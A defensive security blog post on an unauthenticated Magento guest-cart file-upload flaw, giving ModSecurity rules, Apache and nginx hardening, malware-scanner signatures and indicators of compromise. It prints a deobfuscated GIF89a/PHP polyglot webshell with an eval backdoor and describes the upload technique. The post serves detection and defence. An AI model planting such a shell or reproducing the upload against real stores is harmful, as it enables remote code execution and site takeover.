Magento PolyShell: Detection, Mitigation, and LMD Signatures
On March 23, 2026, researchers at Sansec published detailed research on a critical unauthenticated file upload vulnerability in Magento Open Source and Adobe Commerce. The vulnerability allows remote attackers to upload PHP webshells through the guest cart REST API with zero authentication. Exploitation was observed in the wild within hours of disclosure.
We want to thank Sansec for their thorough analysis and responsible disclosure. Their research gave the community the technical detail needed to respond quickly.
This post covers our response: ModSecurity rules to block the upload vector, Apache configuration to prevent execution of planted shells, and four new Linux Malware Detect signatures that identify the known webshell variants.
The Attack#
The vulnerability exploits three missing validation checks in Magento's cart item custom options processing:
- No option ID validation — submitted option IDs are not verified against the product's actual custom options
- No option type gating — file upload processing runs regardless of whether the product has a file-type option configured
- No file extension restriction — the only server-side check is
getimagesizefromstring(), which validates image headers but ignores the filename extension entirely
The attack targets the unauthenticated guest cart endpoints:
POST /rest/V1/guest-carts/:cartId/items
PUT /rest/V1/guest-carts/:cartId/items/:itemIdThe request body is JSON containing a file_info object with base64-encoded file content, a declared MIME type, and a filename. The attacker submits a file named index.php with a GIF89a header prepended to the PHP payload. The image header satisfies the server-side check. Magento writes the file to pub/media/custom_options/quote/ with the attacker-controlled filename intact. On a server that processes PHP in that directory, the shell is live.
Affected versions
All Magento Open Source and Adobe Commerce releases prior to 2.4.9-alpha3. Patched under Adobe Security Bulletin APSB25-94. No stable production patch was available at time of writing. GraphQL endpoints use a different code path and are not vulnerable.
The GIF89a Polyglot Technique#
The webshells observed in the wild are polyglot files: valid GIF images that are simultaneously valid PHP scripts. The GIF89a magic header at the start of the file passes image validation checks, while the PHP interpreter ignores everything before the <?php opening tag and executes the embedded code.
Two variants have been observed. The first uses cookie-based MD5 authentication with eval(base64_decode()) for arbitrary code execution and a secondary file upload capability. The second uses hash_equals() for authentication and passes commands directly to system().
Deobfuscated, the v1 payload looks like this:
GIF89a<?php
echo 409723 * 20;
if (md5($_COOKIE["d"]) == "17028f487cb2a8...") {
echo "ok";
eval(base64_decode($_REQUEST["id"]));
if ($_POST["up"] == "up") {
@copy($_FILES["file"]["tmp_name"],
$_FILES["file"]["name"]);
}
}
?>The arithmetic echo serves as a health check for the attacker. The MD5-gated cookie prevents casual discovery. Once authenticated, the shell accepts arbitrary PHP via the id parameter and can upload additional files through a secondary POST handler.
Observed Attack Patterns#
Exploitation was rapid. We began seeing successful uploads against Magento installations within hours of public disclosure, and observed multiple independent actor groups targeting the same hosts concurrently. Across the environments we analyzed, the pattern was consistent: initial polyglot shells appeared first, followed by larger second-stage drops uploaded through the first shell's file handler.
Multi-Actor Forensics
File permissions on the planted shells revealed two distinct delivery mechanisms. Initial polyshell uploads written by Magento's file processor had rwxrwxr-x permissions (the web process umask). Larger second-stage shells had rw-r--r-- permissions, indicating they were dropped through the initial shell's @copy() handler after the attacker gained access. The 25KB and 8KB shells are not polyglots; they are full-featured webshells uploaded as a second stage.
| Actor | Payload Size | Permissions | Delivery |
|---|---|---|---|
| 1 | 377-409 bytes | rwxrwxr-x | Direct upload (GIF89a polyglot) |
| 2 | 25,326 bytes | rw-r--r-- | Second-stage drop via @copy() |
| 3 | 8,333 bytes | rw-r--r-- | Second-stage drop via @copy() |
| 4 | 139-1,995 bytes | rw-r--r-- | Utility shells (static.php, get.php) |
Filename Conventions
Three distinct naming patterns were observed, useful for filesystem-level detection:
427index.php, 891index.php — Magento prepends the submitted option_id to the filename. Any integer-prefixed index.php in custom_options/quote/ is a strong indicatorf55d505b20.php, 1cdef191fd.php — 10-character hex filenames used by second-stage drops. These are full webshells, not polyglotsstatic.php, get.php, txets.php — designed to blend in with legitimate Magento filesReactive Remediation Anti-Pattern
The initial remediation deployed on the affected infrastructure was a .htaccess that manually enumerated PHP extension capitalizations:
# Fragile: misses php8, PhP7, phTML, and dozens of other variants
<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5)$'>
Order allow,deny
Deny from all
</FilesMatch>This approach is brittle. Apache's PCRE engine supports inline case flags, so a single (?i:) group covers every capitalization variant in one expression. It also uses the legacy Order/Deny syntax from Apache 2.2. Modern Apache 2.4+ should use Require all denied. See the Apache Hardening section below for the recommended configuration.
ModSecurity Mitigation#
We published six ModSecurity rules organized into four defense layers. Each layer fires independently. Here is the complete ruleset:
# Layer 1 — Guest cart upload blocking (1 rule)
SecRule REQUEST_URI "@rx /rest(?:/[^/]+)?/V1/guest-carts/[^/]+/items" \
"id:9517100, phase:2, deny, status:403, log, \
msg:'POLYSHELL: PHP extension in guest cart file_info upload', \
severity:'CRITICAL', chain"
SecRule REQUEST_BODY "@pm file_info" "t:none, chain"
SecRule REQUEST_BODY "@rx \\.ph(?:p[345s7]?|tml|ar)" "t:none"
# Layer 2 — Broad API upload blocking (1 rule)
SecRule REQUEST_URI "@rx /rest(?:/[^/]+)?/V1/" \
"id:9517110, phase:2, deny, status:403, log, \
msg:'POLYSHELL: PHP extension in Magento API file_info upload', \
severity:'CRITICAL', chain"
SecRule REQUEST_BODY "@pm file_info" "t:none, chain"
SecRule REQUEST_BODY "@rx \\.ph(?:p[345s7]?|tml|ar)" "t:none"
# Layer 3a — Base64 polyglot, alignment 0
SecRule REQUEST_URI "@rx /rest(?:/[^/]+)?/V1/" \
"id:9517120, phase:2, deny, status:403, log, \
msg:'POLYSHELL: base64 GIF89a+PHP polyglot (align 0)', \
severity:'CRITICAL', chain"
SecRule REQUEST_BODY "@pm file_info" "t:none, chain"
SecRule REQUEST_BODY "@rx R0lGODlh[A-Za-z0-9+/]{0,300}PD9w" "t:none"
# Layer 3b — Base64 polyglot, alignment 1
SecRule REQUEST_URI "@rx /rest(?:/[^/]+)?/V1/" \
"id:9517121, phase:2, deny, status:403, log, \
msg:'POLYSHELL: base64 GIF89a+PHP polyglot (align 1)', \
severity:'CRITICAL', chain"
SecRule REQUEST_BODY "@pm file_info" "t:none, chain"
SecRule REQUEST_BODY "@rx R0lGODlh[A-Za-z0-9+/]{0,300}w/cGhw" "t:none"
# Layer 3c — Base64 polyglot, alignment 2
SecRule REQUEST_URI "@rx /rest(?:/[^/]+)?/V1/" \
"id:9517122, phase:2, deny, status:403, log, \
msg:'POLYSHELL: base64 GIF89a+PHP polyglot (align 2)', \
severity:'CRITICAL', chain"
SecRule REQUEST_BODY "@pm file_info" "t:none, chain"
SecRule REQUEST_BODY "@rx R0lGODlh[A-Za-z0-9+/]{0,300}8P3Bo" "t:none"
# Layer 4 — Execution blocking (1 rule, no body inspection)
SecRule REQUEST_URI "@rx /media/.*\\.ph(?:p[345s7]?|tml|ar)" \
"id:9517130, phase:1, deny, status:403, log, \
msg:'POLYSHELL: PHP execution blocked in Magento media directory', \
severity:'CRITICAL'"Layers 1 through 3 (five rules) require SecRequestBodyAccess On and a SecRequestBodyLimit sized to cover your largest JSON payloads. Layer 4 works at phase 1 with no body inspection at all.
Layer 1: Guest Cart Upload
Rule 9517100 targets the exact unauthenticated attack vector. It uses a three-element AND chain: the URI must match a guest cart item endpoint, the body must contain file_info, and the body must contain a PHP-executable extension (.php, .phtml, .phar and variants). All three conditions must match for the rule to fire. The file_info check prevents false positives: a customer typing ".php" in a text custom option triggers the extension match but not the file_info match, so the chain breaks and the request passes through.
Layer 2: Broad API Coverage
Rule 9517110 uses the same three-element chain as Layer 1 but with a wider URI scope: any Magento V1 REST API path. This covers authenticated customer cart routes ( /V1/carts/mine/items), admin cart routes, and any future endpoint that accepts file_info.
Layer 3: Base64 Polyglot Detection
Rules 9517120, 9517121, and 9517122 detect the polyglot payload itself, independent of the filename. Each matches the base64 encoding of GIF89a ( R0lGODlh) followed by the base64 encoding of <?php. Three rules are needed because base64 encodes in 3-byte groups, and the PHP open tag falls at a different position depending on how many bytes of GIF data precede it. The match patterns: PD9w (alignment 0), w/cGhw (alignment 1), and 8P3Bo (alignment 2).
Layer 4: Execution Blocking
Rule 9517130 is the safety net. Phase 1, no body inspection, no chain logic. It denies access to any PHP-executable file under Magento's /media/ directory tree. Even if the upload-blocking rules were not yet deployed when a shell was planted, this rule prevents it from executing. It is the only rule in the set that works without SecRequestBodyAccess On.
Apache Hardening#
ModSecurity rules address the WAF layer. The server layer needs its own controls. The polyshell attack has two independent phases: upload and execution. If you block either one, the attack fails. Server-level configuration ensures that even if a shell reaches disk, it cannot execute.
Disable PHP in Media Directories
The most effective single control. This disables the PHP engine entirely for Magento's media tree, where only static assets (images, CSS, JS) should ever be served.
<Directory "/var/www/magento/pub/media">
php_flag engine off
</Directory>This works when PHP runs as an Apache module (mod_php). If your stack runs PHP-FPM via mod_proxy_fcgi, the php_flag directive is silently ignored because mod_php is not loaded. In that case, use the <FilesMatch> approach below, or set php_admin_value[engine] = Off in your FPM pool configuration. After applying either control, verify with a test file:
echo '<?php echo "VULNERABLE";' > pub/media/polyshell-check.php
curl -s -o /dev/null -w '%{http_code}' https://store.example.com/media/polyshell-check.php
# Expected: 403 or blank output. If you see "VULNERABLE": PHP is still active.
rm pub/media/polyshell-check.phpBlock PHP Extensions via FilesMatch
If php_flag engine off is not available in your environment (some shared hosting configurations), use a <FilesMatch> directive to deny access by extension. Use the (?i:) flag for case-insensitive matching instead of enumerating every capitalization variant:
<Directory "/var/www/magento/pub/media">
<FilesMatch "\.(?i:php[345s7]?|phtml|phar)$">
Require all denied
</FilesMatch>
</Directory>For Apache 2.4+ with AllowOverride enabled, this can also be placed in a .htaccess file at pub/media/.htaccess:
<FilesMatch "\.(?i:php[345s7]?|phtml|phar)$">
Require all denied
</FilesMatch>Combined Configuration
For maximum protection, use both controls together. The php_flag directive prevents execution at the engine level, while <FilesMatch> returns a 403 before Apache even considers the file:
<Directory "/var/www/magento/pub/media">
# Disable PHP engine entirely
php_flag engine off
# Deny access to PHP-executable extensions (defense in depth)
<FilesMatch "\.(?i:php[345s7]?|phtml|phar)$">
Require all denied
</FilesMatch>
# Prevent script execution via Options
Options -ExecCGI
RemoveHandler .php .phtml .phar
</Directory>nginx
For nginx deployments, restrict PHP-FPM to known entry points only. All other .php requests should return 403:
# Deny PHP execution in media directories
location ~* ^/media/.*\.php$ {
return 403;
}
# Only pass known Magento entry points to PHP-FPM
location ~ \.php$ {
location ~ ^/(index|get|static|errors/report|errors/404|health_check)\.php$ {
fastcgi_pass unix:/run/php-fpm/www.sock;
include fastcgi_params;
}
return 403;
}Linux Malware Detect Signatures#
We have published four new hex signatures in Linux Malware Detect (LMD) that identify the known polyshell webshell variants. These signatures match the GIF89a header combined with the PHP payload patterns observed in active exploitation.
| Signature | Variant | Detection |
|---|---|---|
| php.webshell.polyshell.v1auth | v1 | GIF89a + cookie MD5 auth gate + eval |
| php.webshell.polyshell.v1eval | v1 | GIF89a + eval(base64_decode()) |
| php.webshell.polyshell.v2auth | v2 | GIF89a + hash_equals() auth gate |
| php.webshell.polyshell.v2sys | v2 | GIF89a + system($_REQUEST) |
These signatures use hex pattern matching with wildcards to catch obfuscated variants. The v1 signatures target the cookie-based authentication pattern with the known MD5 hash, while the v2 signatures target the hash_equals() and system() patterns unique to the second variant family.
LMD users running maldet --update-sigs will receive these signatures automatically. For immediate detection on a potentially compromised host:
maldet --update-sigs
maldet -a /var/www/magento/pub/media/custom_options/Indicators of Compromise#
We observed active exploitation beginning within hours of Sansec's publication on March 23, 2026. Across the installations we analyzed, compromised hosts accumulated shells from multiple independent actors over a short window, with production environments consistently showing more activity than staging. The speed of exploitation underscores why server-level controls (not just patching) are critical for this class of vulnerability.
MD5 Hashes
# Initial polyglot uploads (GIF89a + PHP)
6a296a13e7719ee9f8694f9bc7bdc3df GIF89a + eval/base64 (409 bytes)
222bb94c2aac6f0ee609bfe6af4eb078 GIF89a + eval/base64 (377 bytes)
# Second-stage drops (uploaded via @copy handler)
5dcd02bda663342b5ddea2187190c425 full webshell (25,326 bytes)
da024d188358becc4ee3447d4d892c30 full webshell (8,333 bytes)
# Utility shells
a2c2d4c8e7e0cd921d1c7191e5e1a0a8 static.php / get.php (139 bytes)
9805097a9f70c5f06891933a720e7a9c txets.php (1,995 bytes)Filesystem Patterns
All shells land under pub/media/custom_options/quote/ in Magento's 2-level character dispersion tree. A quick filesystem sweep for compromise:
find pub/media/custom_options/ -type f -iname '*.php' -ls
find pub/media/custom_options/ -type f -iname '*.php' -exec md5sum {} \;Observed file paths across staging and production:
# Option-ID prefix pattern (initial polyglot upload)
custom_options/quote/4/2/427index.php
custom_options/quote/8/9/891index.php
custom_options/quote/3/6/365index.php
custom_options/quote/9/2/922index.php
# Hex-named second-stage drops
custom_options/quote/8/9/f55d505b20.php
custom_options/quote/i/n123/1cdef191fd.php
# Generic utility shells
custom_options/quote/s/t/static.php
custom_options/quote/g/e/get.php
custom_options/quote/8/9/txets.phpConclusion#
This vulnerability is straightforward to exploit and was weaponized within hours of disclosure. The absence of a stable production patch makes server-level controls the primary line of defense. Here is what to do, in priority order.